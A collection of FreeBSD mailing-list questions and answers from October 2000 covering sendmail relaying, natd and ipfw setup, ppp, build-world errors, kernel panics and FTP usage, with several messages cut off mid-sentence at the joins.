is that they will support a smaller number of devices than the more
expensive guys.  So buy the best you can afford.  There is a reason some are
cheaper than others.

I don't have any experience with FreeBSD on these devices.  But hope to have
some in the next month.

Ray


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Subject: wireless networking


> Hello,
> I am interested in setting up a wireless network between my apartment and
a
> friend's. We know it is possible, but I would like to know which, if any,
> wireless networking kit is supported by FreeBSD 4.1 Stable. The one I am
> looking at is this:
> The Proxim Symphony Suite.
> Please help me, and if you know of any other wireless networking kits that
are
> better suppported by FreeBSD please let me know
>
> Thanx
> charles pelletier
>
>
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Hi!

you have a question in a FAQ area:

5.4. Are there any Database systems for FreeBSD?

RelexUS, Inc (http://www.relexus.com) provides a RDBMS Linter SQL database
(http://www.relexus.com/products/linter.htm) for a FreeBSD and BSDi.
This system is available on a http://www.freebsdmall.com site.

Sincerely,

Anatoly Peshkov

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President

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Can freebsd 4.1 hand a 60gig ide 5400rpm? this drive won't be a primary
drive..no Operation system will be on it..I have 1 drive
that is the Operation system..I just want to add this 60gig ide drive to the
system..will freebsd see it as 60gig?

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* Eric Brueggmann <brueggma@snoopie.yi.org> [20001025 08:04]:
=>Hello..
=>
=>	Sorry for the cross post.  I was wondering what could cause this:
=>
=># du -hc /var | grep total
=> 15M    total
=># df -h /var
=>Filesystem     Size   Used  Avail Capacity  Mounted on
=>/dev/ad3s2e    483M   101M   343M    23%    /var
=># sync
=># df -h /var
=>Filesystem     Size   Used  Avail Capacity  Mounted on
=>/dev/ad3s2e    483M   101M   343M    23%    /var
=>
=>This happens every couple of weeks or so..  The difference is usually not
=>as great as it is now.  Is there any way to fix it?  I don't think du is
=>following any sym links, or anything.

As root

alouette# du -hc /var/ | grep total
 23M    total
alouette# df -h /var/
Filesystem     Size   Used  Avail Capacity  Mounted on
/dev/ad0s2f     34M    23M   8.0M    74%    /var
alouette#

As ordinary user:
I get a disparity because I am denied permission to some directories


for du -hc /var

[snip]

 39K	/var/db/pkg/AbiWord-0.7.10
5.0K	/var/db/pkg/lrzsz-0.12.20
5.0K	/var/db/pkg/minicom-1.83.1
6.0K	/var/db/pkg/bash-2.04

.
.
.
1.2M	/var/tpc
 19M	/var
 19M	total
[snip]

[wash@alouette:~]> df -h /var/
Filesystem     Size   Used  Avail Capacity  Mounted on
/dev/ad0s2f     34M    23M   8.0M    74%    /var
[wash@alouette:~]>

HTH


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All -

The two files that I found was:

hosts and local-host-names....and they appear right..

-----Original Message-----
From: Chris Fedde [mailto:chris@fedde.littleton.co.us]
Sent: Monday, October 30, 2000 11:45 AM
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On Mon, 30 Oct 2000 11:03:47 -0500  "Jim Persinger" wrote:
 +------------------
 | Our pcs are using Outlook 2000....they all can receive email fine, but
none
 | (except myself) can send... I have win2000 and they have win98 (yuck).
 |
 | I was told that Sprint has activated the reverse DNS and that should of
took
 | care of email leaving the building...but not! On the bind issue, how do I
do
 | this? (sorry - I'm a windows guy....but I happy to be learning UNIX).
 +------------------

Outbound mail is typically done via SMTP.  I'm guessing that you
are running sendmail as is the default SMTP server for the FreeBSD
install.  If that is the case then the default configuration is
going to refuse to relay mail for users that it does not consider
local.

You can prove this by first running

    ps -auxww | grep sendmail

on the freebsd box, then check to see that the clients are getting
an error message that says "relaying denied" somewhere in the text.

Sendmail needs to have two things to be able to do what you want.
First it has to know how to turn an IP addres into a name.  Second
it has to be configured to allow the clients to relay mail through
it.  The simplest way to do all this is to list the internal hosts
in the /etc/hosts file.  Then to add these machine names to a file
called /etc/mail/relay-domains.  When that is done your FreeBSD
machine should allow those hosts to relay mail.  If you want to
learn more about all this look at the links on spam control at
www.sendmail.org.

chris

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* sourena azkhosh <sourena_@yahoo.com> [20001024 19:20]:
=>
=>Dear sirs.
=>
=>I want to set up ppp (just for DIAL-IN) on freebsd 4.1 I have multi i/o boca card that it provide 6 ports. I have n't any problem for setting up this card and I made ttyd2 - ttyd7 but I realy don't know what do I have to do after this . I read many ducument in freebsd but I could not find where I should set IP , DNS , GATEWAY for users that connected to me. and in which way can I solve authentication problem for my users and where can I define them ????? Please guide me .......

MUST be in /etc/ppp/ppp.conf


=>
=>Thank you inadvance 
=>
=>Sourena Azkhosh 
=>
=>
=>
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* Jim Thario <jim@thario.com> [20001024 18:14]:
=>Hi everyone!
=>
=>I have a spare phone line connected to a fax modem in one of my FreeBSD
=>4.x servers. I'd like to configure it as a fax server for my clients. My
=>desired solution is that incoming faxes are emailed to a specified
=>account (i.e. receptionist) for distribution to the recipient, and
=>clients inside my network can email their faxes to the fax server for
=>transmission - perhaps by putting the phone number in the subject field.
=>The majority of the client are Windows-based.
=>
=>Is there something in the ports collection I can use to get close to
=>this type of solution? Any suggestions for a better solution?

I will be your friend if you're willing to join me. Do you know of some
humble project called TPC.INT? Would you be willing to help someone like
me to fax to your area? Pls read www-usa.tpc.int and if it interests you,
you can e-mail me. I do almost the same thing as you want on FreeBSD in
some part of the world.
I'm sure we can talk but if the stuff there doesn't interest you, then
look at www.hylafax.org or /usr/ports/comms/hylafax

Cheers


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	I am trying to set up mrtg to do a bunch of stastics gathering. It
	creates .meat files with the appropriate expire time for these pages,
	but I have not figured out how to get Apache (1.3) to supply these to
	the browser.

	I have mod_expire laoded, and an .htaccess file in that directory with
	ExpiresAcitve On in it, and I have MetaSufix defined as .meta in the
	http.conf file.

	What piece of the puzzle am I missing?

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	At the bottom of every FAQ page is:
For questions about this documentation, e-mail <doc@FreeBSD.org>.

	And at the top of the Commercial Vendors-Software page:
http://www.freebsd.org/commercial/software_bycat.html#CATEGORY_DATABASE
(where other database software is listed)

"For your convenience, we have divided our growing commercial listing into
several sections. If you are a company which supports a FreeBSD compatible
product and wish to be added to this page, please send email to
www@FreeBSD.org and let us know! Submissions should be in HTML and of a
medium-sized paragraph in length."

Try that.
					Tim



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> 
> you have a question in a FAQ area:
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> 5.4. Are there any Database systems for FreeBSD?
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> RelexUS, Inc (http://www.relexus.com) provides a RDBMS Linter SQL database
> (http://www.relexus.com/products/linter.htm) for a FreeBSD and BSDi.
> This system is available on a http://www.freebsdmall.com site.
> 
> Sincerely,
> 
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> 
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Does the gated support the multiaccess point to point networks?
such as X.25 SVC network or ISDN network when I run the OSPF protocol

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On Mon, Oct 30, 2000 at 10:25:11AM +0100, Daniel Ruthardt wrote:

[snip]

> Here are the informations you need to help me:
> 
>   $ cat /etc/rc.conf
> 
> # This file now contains just the overrides from /etc/defaults/rc.conf
> # please make all changes to this file.
> 
> keymap="german.iso"
> gateway_enable="YES"
> hostname="dowee.com"
> firewall_enable="YES"
> firewall_type="OPEN"
> natd_interface="xl0"
> natd_enable="YES"
> ifconfig_xl0="DHCP"
> ifconfig_xl0_alias0="inet 192.0.0.1 netmask 255.255.255.0"
> 
>   $ fgrep 'IP packet filtering' /var/run/dmesg.boot
> 
> IP packet filtering initialized, divert enabled, rule-based forwarding
> disabled,
>  default to deny, logging disabled
> 
>   $ ifconfig -a
> 
> xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         inet6 fe80::250:4ff:fe4d:3695%xl0 prefixlen 64 scopeid 0x1
>         inet 212.186.196.204 netmask 0xffffff00 broadcast 212.186.196.255
>         inet 192.0.0.1 netmask 0xffffff00 broadcast 192.0.0.255
>         ether 00:50:04:4d:36:95
>         media: 10baseT/UTP (10baseT/UTP <half-duplex>)
>         supported media: 10baseT/UTP <full-duplex> 10baseT/UTP <half-duplex>
> 10b
> aseT/UTP

[snip]

>   $ ipfw show
> 
> 00100 3064 945994 divert 8668 ip from any to any via xl0
> 00100    0      0 allow ip from any to any via lo0
> 00200    0      0 deny ip from any to 127.0.0.0/8
> 65000 3064 945994 allow ip from any to any
> 65535    2    656 deny ip from any to any
> 
> Hope the information tells you what i've done wrong (-:

Looks pretty good except for one big problem, you are trying to use a
single interface. natd(8) is designed to be used with multiple
interfaces. It does not work well with one. Each packet will go
through natd(8) twice and this tends to really confuse it.

There are other problems with this scheme. First, if you were planning
to later add firewall rules for security, they will offer little
protection since your machines are still naked on the net. Second, you
are likely going to be leaking your "private" address traffic onto
your LAN (and from there who knows where it may get routed). You will
be one of those guys who causes all those people to mail the list
asking why they are getting arp error messages about machines responding
on the wrong interface.
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From HighPoint Technologies' website,
<a href="http://www.highpoint-tech.com/">www.highpoint-tch.com</a>,
FreeBSD is said to support<br>
their HPT370 RAID controller.&nbsp; Is this true?&nbsp; If it is true
where can I find more information about<br>
the drivers?<br>
<br>
Thank you,<br>
<br>
Wen. 
<BR>
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Hi!

I recently upgraded from 3.4 to 4.1.1 and added some options to kernel
like BRIDGE and DUMMYNET. Since bridging was enabled and upgrade, I get
frequent reloads/crashes with messages like:

Fatal trap 12: page fault while in kernel mode
fault virtual address	= 0xc04f3000
fault code		= supervisor write, page not present
instruction pointer	= 0x8:0xc0208175
stack pointer		= 0x10:0xc0262074
frame pointer		= 0x10:0xc0262080
code segment		= base 0x0, limit 0xfffff, type 0x1v
			= DPL 0, pres 1, def32 1, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
interrupt mask		= net
trap number 		= 12
panic: page fault

All previously used packages and ports were recompiled on new 4.1.1.
On 3.4 system was quite stable and I didn't experience any crash.

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Hi,

Is there a way (other then manually) to install the jed
package without installing X?

I've tried:

make -DNO_JEDX
or
make -DNO_JEDX -DUSE_XLIB=no

so far, neither seem to work.  Any suggestions other
then manual install? :)

Thanks,
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| Memphis, TN    | make it shorter.   -- Blaise Pascal |
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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 10/30/00, 8:22:34 AM, Christoph Sold <so@server.i-clue.de> wrote
regarding Re: Startup:


> Gene Bomgardner schrieb:

> >
> > I'm trying to do a few other things as well. When the system boots,
> > I'd like to get user ppp connected. I've got ppp_enable set in
> > rc.conf. But no such luck. Is that for kernel ppp only?

> AFAIR: yes.



RTFM (R stands for Recall here :-))


From rc.conf(5):

<blockquote>

 ppp_enable    (bool) If set to YES, run the ppp(8) daemon.

 ppp_mode      (str) Mode in which to run the ppp(8) daemon.  Accepted
                     modes are auto, ddial, direct and dedicated. See
                     the manual for a full description.

 ppp_nat       (bool) If set to YES, enables packet aliasing.  Used in
                conjunction with gateway_enable allows hosts on
                private network addresses access to the Internet using
                this host as a network address translating router.

 ppp_profile   (str) The name of the profile to use from
                /etc/ppp/ppp.conf.

 ppp_user      (str) The name of the user under which ppp should
                     be started. By default, ppp is started as root.

</blockquote>


<try & buy>

You will get your ppp(8) going as desired if you specify eg the
following in your /etc/rc.conf:

ppp_enable=3D"YES"
ppp_mode=3D"ddial"
ppp_nat=3D"NO"
ppp_profile=3D"my_isp_profile"

</try & buy>



Remark I
You may wish to specify your preferred mode in ppp_mode (cf
rc.conf(5), ppp(8)).


Remark II
Since I run natd(8), I explicitly set ppp_nat=3D"NO"; otherwise, ppp is
invoked with -nat.


Remark III
Related information:

vi /etc/rc.network  # vi: little delightful editor
/ppp                # search for the string "ppp"



Best regards,
Salvo





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Anyone?  Anyone?  Buehler...Buehler?

	-----Original Message-----
	From:	Potts, Ross 
	Sent:	Monday, October 30, 2000 9:39 AM
	To:	'freeBSD-questions@freebsd.org'
	Subject:	Broken chip on ide CD-RW?

	I inherited a Ricoh CD-RW from my father in law.  He said it just stop
working.
	It is a Ricoh MP7040A
	I am seeing if I can get it to run.  During bootup.  It is recognized
and named
	properly along with my regular CD-ROM drive.

	During the FBSD installation Process, I am even given a choice of CDROM
drives
	to install from.  When I select the Ricoh, I get an I/O error# 5.  What
is that?

	Would it be worth it to flash the firmware under Windows?  Or do I have
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	paper weight?


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With the latest cvsup source from cvsup5, I am unable to build world.  It 
crashes out on /usr/src/gnu/usr.bin/texinfo.

The message is as follows.

===> info
Warning: Object directory not changed from original 
/usr/src/gnu/usr.bin/texinfo/info
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/dir.c
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/display.c
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/doc.c
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/dribble.c
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/echo-area.c
cc -O -pipe -DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
-DHAVE_CONFIG_H 
-DLOCALEDIR=\"/usr/share/locale\" 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:159: 
syntax error at null character
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c: 
In function `info_file_in_path':
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:160: 
declaration for parameter `path' but no such parameter
/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:160: 
declaration for parameter `filename' but no such parameter
*** Error code 1

Stop in /usr/src/gnu/usr.bin/texinfo/info.
*** Error code 1

Stop in /usr/src/gnu/usr.bin/texinfo.

I have tried building this directory directly, but that does not help.  I 
did a build world on Friday, and tried again last night, but the machine 
crashed.  I deleted all source files, and re cvsup'd them.  I am 
experiencing a lot of fsck errors since the build last night.  Any clues?

Rolf



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How compatible is freeBSD with dual booting? Is it possible, or possible but
not recommended, to dual boot with windows?

Thanks,

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While I absolutely agree that you should *not* be using only one interface
here-

It somewhat bothers me that natd gets confused if there's only one IF-

Natd deals on the IP level right?

So adding another alias to the single physical should fix natd's problems?

--

-sex:blood:heaven-

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----- Original Message -----
From: Crist J . Clark <cjclark@reflexnet.net>
To: Daniel Ruthardt <ruthardt@chello.at>
Cc: <freebsd-questions@freebsd.org>
Sent: Monday, October 30, 2000 11:19 AM
Subject: Re: IP Masquerading - Using NAT


> On Mon, Oct 30, 2000 at 10:25:11AM +0100, Daniel Ruthardt wrote:
>
> [snip]
>
> > Here are the informations you need to help me:
> >
> >   $ cat /etc/rc.conf
> >
> > # This file now contains just the overrides from /etc/defaults/rc.conf
> > # please make all changes to this file.
> >
> > keymap="german.iso"
> > gateway_enable="YES"
> > hostname="dowee.com"
> > firewall_enable="YES"
> > firewall_type="OPEN"
> > natd_interface="xl0"
> > natd_enable="YES"
> > ifconfig_xl0="DHCP"
> > ifconfig_xl0_alias0="inet 192.0.0.1 netmask 255.255.255.0"
> >
> >   $ fgrep 'IP packet filtering' /var/run/dmesg.boot
> >
> > IP packet filtering initialized, divert enabled, rule-based forwarding
> > disabled,
> >  default to deny, logging disabled
> >
> >   $ ifconfig -a
> >
> > xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
> >         inet6 fe80::250:4ff:fe4d:3695%xl0 prefixlen 64 scopeid 0x1
> >         inet 212.186.196.204 netmask 0xffffff00 broadcast
212.186.196.255
> >         inet 192.0.0.1 netmask 0xffffff00 broadcast 192.0.0.255
> >         ether 00:50:04:4d:36:95
> >         media: 10baseT/UTP (10baseT/UTP <half-duplex>)
> >         supported media: 10baseT/UTP <full-duplex> 10baseT/UTP
<half-duplex>
> > 10b
> > aseT/UTP
>
> [snip]
>
> >   $ ipfw show
> >
> > 00100 3064 945994 divert 8668 ip from any to any via xl0
> > 00100    0      0 allow ip from any to any via lo0
> > 00200    0      0 deny ip from any to 127.0.0.0/8
> > 65000 3064 945994 allow ip from any to any
> > 65535    2    656 deny ip from any to any
> >
> > Hope the information tells you what i've done wrong (-:
>
> Looks pretty good except for one big problem, you are trying to use a
> single interface. natd(8) is designed to be used with multiple
> interfaces. It does not work well with one. Each packet will go
> through natd(8) twice and this tends to really confuse it.
>
> There are other problems with this scheme. First, if you were planning
> to later add firewall rules for security, they will offer little
> protection since your machines are still naked on the net. Second, you
> are likely going to be leaking your "private" address traffic onto
> your LAN (and from there who knows where it may get routed). You will
> be one of those guys who causes all those people to mail the list
> asking why they are getting arp error messages about machines responding
> on the wrong interface.
> --
> Crist J. Clark                           cjclark@alum.mit.edu
>
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I managed to get past that point by copying the filesys.c file from another 
machine.  Strange thing is that they were both updated around the same 
time.  The files didn't seem to be corrupted, but I forgot to compare. 
Whoops...

Rolf

At 12:53 PM 10/30/2000, you wrote:
>With the latest cvsup source from cvsup5, I am unable to build world.  It 
>crashes out on /usr/src/gnu/usr.bin/texinfo.
>
>The message is as follows.
>
>===> info
>Warning: Object directory not changed from original 
>/usr/src/gnu/usr.bin/texinfo/info
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/dir.c
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/display.c
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/doc.c
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/dribble.c
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/echo-area.c
>cc -O -pipe 
>-DINFODIR=\"/usr/share/info:/usr/local/info:/usr/X11R6/info:.\" 
>-DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo 
>-I/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/lib   -c 
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:159: 
>syntax error at null character
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c: 
>In function `info_file_in_path':
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:160: 
>declaration for parameter `path' but no such parameter
>/usr/src/gnu/usr.bin/texinfo/info/../../../../contrib/texinfo/info/filesys.c:160: 
>declaration for parameter `filename' but no such parameter
>*** Error code 1
>
>Stop in /usr/src/gnu/usr.bin/texinfo/info.
>*** Error code 1
>
>Stop in /usr/src/gnu/usr.bin/texinfo.
>
>I have tried building this directory directly, but that does not help.  I 
>did a build world on Friday, and tried again last night, but the machine 
>crashed.  I deleted all source files, and re cvsup'd them.  I am 
>experiencing a lot of fsck errors since the build last night.  Any clues?
>
>Rolf
>
>
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On Mon, 30 Oct 2000 at 13:53:25 -0600, Gagne, Bob wrote:
> How compatible is freeBSD with dual booting? Is it possible, or
> possible but not recommended, to dual boot with windows?

Yes, you can dual-boot.  This is covered in the FAQ.  There is also a
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Guys, 

I have a FreeBSD gateway dialup to ISP. The other box running also
freebsd can get onto internet through the gateway. However, when I boot
the client box into win2000, the connection between this two boxes was
lost. Before ppp dialup, they can see each other. 

What's wrong in Win200 setup? (I don't use windows much, that was for my
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I used an example ports-supfile from /usr/share/examples/cvsup/ to upgrade
my ports collection. How can I find out what exactly is new other than
browsing readmes?

Eventually, I would like to set up a cron job to fetch the new ports
periodically. I would also like to send myself an email listing all the
updates in the ports collection. Is it doable?


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What utility would you recommend for software-loadbalancing between 3 unix
boxes? Right now i'm trying to build Eddie, but i haven't got it to compile
yet. I'd like to see if there are any other utilities available.
Here's the situation:

      A
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A is the front-end, FreeBSD 4.1.1-STABLE box. The back-end consists of two
linux webservers (B & C). The idea is to http-connect with A, which then
forwards the requests to B or C according to available resources on the
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What utility would you recommend for software-loadbalancing between 3 unix
boxes? Right now i'm trying to build Eddie, but i haven't got it to compile
yet. I'd like to see if there are any other utilities available.
Here's the situation:

      A
   /      \
B         C

A is the front-end, FreeBSD 4.1.1-STABLE box. The back-end consists of two
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machines.

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Hello,
I know this is really RTFM question,
but can you tell me how can I download the whole directory via FTP (console)
on FreeBSD ? Without pressing Y to confirm on getting every single file. I
tried mget * , but it asks me for a confirmation for every single file.
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Alexander Anderson wrote:
> 
> I used an example ports-supfile from /usr/share/examples/cvsup/ to upgrade
> my ports collection. How can I find out what exactly is new other than
> browsing readmes?
> 
> Eventually, I would like to set up a cron job to fetch the new ports
> periodically. I would also like to send myself an email listing all the
> updates in the ports collection. Is it doable?
> 
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man pkg_version
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Chen Xu wrote:
> 
> Guys,
> 
> I have a FreeBSD gateway dialup to ISP. The other box running also
> freebsd can get onto internet through the gateway. However, when I boot
> the client box into win2000, the connection between this two boxes was
> lost. Before ppp dialup, they can see each other.
> 
> What's wrong in Win200 setup? (I don't use windows much, that was for my
> wife)

You probably have DNS lookups pointing to your ISP. I have all of my
local machines in my hosts tables. I mostly use Win2000 Server/Pro and
FreeBSD. I don't have a DNS server setup locally. For 4 or 5 machines,
I see no point.

Kent

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man ftp:
     prompt      Toggle interactive prompting.  Interactive prompting occurs
                 during multiple file transfers to allow the user to selec-
                 tively retrieve or store files.

So, 'prompt n' will work. Note, though, that 'mget *' does not properly
recurse through directories. It isn't really designed for large-scale
transfers. Check out wget for stuff like that.

-johnnnnnnn

> but can you tell me how can I download the whole directory via FTP (console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I
> tried mget * , but it asks me for a confirmation for every single file.




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"Zaitsau, Andrei" wrote:
> 
> Hello,
> I know this is really RTFM question,
> but can you tell me how can I download the whole directory via FTP (console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I
> tried mget * , but it asks me for a confirmation for every single file.
> Thanks.
> 
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man ftp
look for "prompt"

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Hello,

Here are some excerpts of the kernel that I am building:


device          da0             # Direct Access (disks)
controller 	ahc0
controller      scbus0 at ahc0
controller      ahc1
controller      scbus1 at ahc1
device          da4 at scbus1 target 0



I have four disks (da0, da1, da2, da3) that are connected via an external SCSI connector (which is ahc0). I have an internal SCSI drive
(da4) that I have on ahc1. They work fine with the generic kernel but I want to wire down the da4 drive so that it always gets the
device name da4. Will this kernel config (along with all the other parts of the GENERIC kernel) get the job done or am I missing
something? Thanks for your time.




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> I know this is really RTFM question,
> but can you tell me how can I download the whole directory via FTP (console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I
> tried mget * , but it asks me for a confirmation for every single file.

	Well, If you're using the standard Windows FTP client you need to
look at getting a different one, it dosen't support automatic
downloading. The Native freebsd FTP deamon does though, just hit the
letter a instead of y. :) Look at Leechftp, it's free, it easy to setup,
it does automatic downloading, and it automatically detects binary or asci
types.

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Daniel Frazier wrote:
> 
> Brett Gianpetro wrote:
> >
> > Well, I'm new to FreeBSD and I'm trying to compile a custom kernel for the
> > first time.  I just recently did a cvsup and built the world, which went
> > smoothly.  Now I was running 'make buildkernel' and it failed.  Here
> > is what the failure looks like:
> >
> 
> device umass *REQUIRES* scbus and da... read the comments.
> 

Brett, 
I didn't mean to be so short with you there.  You asked a valid question and
I replied rather rudely, especially considering that you started off by 
qualifying yourself as a newbie.  I apologise.

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> but can you tell me how can I download the whole directory via FTP
(console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I

Start the Windows client with the "-i" argument. "ftp -?" will give you
a list of valid arguments.

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On Mon, 30 Oct 2000, Jim Persinger wrote:
> The two files that I found was:
> 
> hosts and local-host-names....and they appear right..

/etc/mail/access and/or
/etc/mail/relay-domains

Run make after editing the file(s)

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The line below pops up often in my dnslogs.  Could anyone tell me what it
is?

Oct 30 13:33:01 www 
named[79]: ns_resp: query(30.1.206.167.in-addr.arpa) NS points to CNAME 
(NS1.CV.NET:)


Thanks so much;

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I am trying to build world, it stops with problems with perl.  I have gone 
to the /usr/src/gnu/usr.bin/perl/miniperl directory and tried a make 
there.  I get the following error as follows:

cc -O -pipe -I/usr/src/gnu/usr.bin/perl/miniperl/../../../../contrib/perl5 
-I/usr/obj/usr/src/gnu/usr.bin/perl/miniperl 
-L/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl -static -o miniperl 
miniperlmain.o 
opmini.o  /usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a 
-lm -lcrypt -lutil
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0xd04): 
undefined reference to `Perl_pp_unpack'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0xd08): 
undefined reference to `Perl_pp_pack'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0xd0c): 
undefined reference to `Perl_pp_split'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0xd3c): 
undefined reference to `Perl_pp_reverse'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0x1048): 
undefined reference to `Perl_pp_lock'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(globals.o)(.data+0x104c): 
undefined reference to `Perl_pp_threadsv'
/usr/obj/usr/src/gnu/usr.bin/perl/miniperl/../libperl/libperl.a(pp.o): In 
function `Perl_pp_unshift':
pp.o(.text+0x7514): undefined reference to `Perl_'
*** Error code 1

Stop in /usr/src/gnu/usr.bin/perl/miniperl.

I have tried getting the source repeatedly.  The same source compiles just 
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On Mon, 30 Oct 2000 13:09:56 -0500  "Jim Persinger" wrote:
 +------------------
 | All -
 | 
 | The two files that I found was:
 | 
 | hosts and local-host-names....and they appear right..
 +------------------

You'll probably have to create /etc/mail/relay-domains then.  Just
use vi or ee to create a simple text file that contains the names
of all the systems (one name per line) that you want to be able to
relay through your mail server.

Good Luck
chris

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> Oliver Mills schrieb:
> 
> I was wondering if anybody could point me in the right direction to
> download:
> 
>    *         Apache Web Server

/usr/ports/www/apache-*, there's a lot of this out there ;)

>    *         Send Mail

Already installed as part of the base system.

HTH
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Alexander Anderson wrote:
> 
> I used an example ports-supfile from /usr/share/examples/cvsup/ to upgrade
> my ports collection. How can I find out what exactly is new other than
> browsing readmes?
> 
> Eventually, I would like to set up a cron job to fetch the new ports
> periodically. I would also like to send myself an email listing all the
> updates in the ports collection. Is it doable?

It depends on what you want to see. You could redirect the output from
cvsup to a log file. I don't do this on my ports but do it to all of
my updates to stable. There are some utilities in the cvsup package
that will convert the log to HTML and you can browse through the
changes with something that processes HTML. I just happen to use KDE.
When I convert the cvsup.log to HTML, I add the
